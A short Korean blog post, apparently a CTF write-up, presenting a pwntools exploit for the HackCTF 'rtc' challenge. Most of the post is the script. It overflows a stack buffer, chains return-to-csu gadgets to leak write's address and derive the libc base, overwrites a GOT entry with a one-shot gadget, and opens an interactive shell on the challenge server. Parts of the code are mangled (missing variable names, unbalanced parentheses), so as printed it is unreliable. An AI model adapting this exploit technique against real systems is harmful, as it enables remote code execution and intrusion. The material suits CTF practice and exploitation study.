티스토리 뷰

카테고리 없음

[HackCTF] rtc

mhibio 2019. 8. 24. 03:13

딱히 올릴려는 생각은 없었는데

원샷가젯을 처음 사용해봐서 올린다.  @~@

 

이전 rtc글과는 다른점은 페이로드가 짧아졌다는 점?

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import * 
 
context.log_level = 'debug' 
 
= remote('ctf.j0n9hyun.xyz'3025
= ELF('./rtc'
= e.libc 
 
setcsu = 0x00000000004006BA 
csu_call = 0x00000000004006A0 
one_offset = 0xf1147 
 
write_got = e.got['write'
read_got = e.got['read'
 
p.recv() 
 
pay = "A"*0x48 
pay += p64(setcsu) 
pay += p64(0+ p64(1+ p64(write_got) + p64(8+ p64(write_got) + p64(1
pay += p64(csu_call) 
 
pay += "B"*8 
pay += p64(0+ p64(1+ p64(read_got) + p64(8+ p64(write_got) + p64(0
pay += p64(csu_call) 
 
pay += p64(0* 3 + p64(write_got) + p64(0* 3 
pay += p64(csu_call) 
 
 
p.send(pay) 
 
tmp = u64(p.recv()) 
base = tmp - l.symbols['write'
one_shot = base + one_offset 
 
 
p.send(p64(one_shot)) 
 
p.interactive() 

 

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함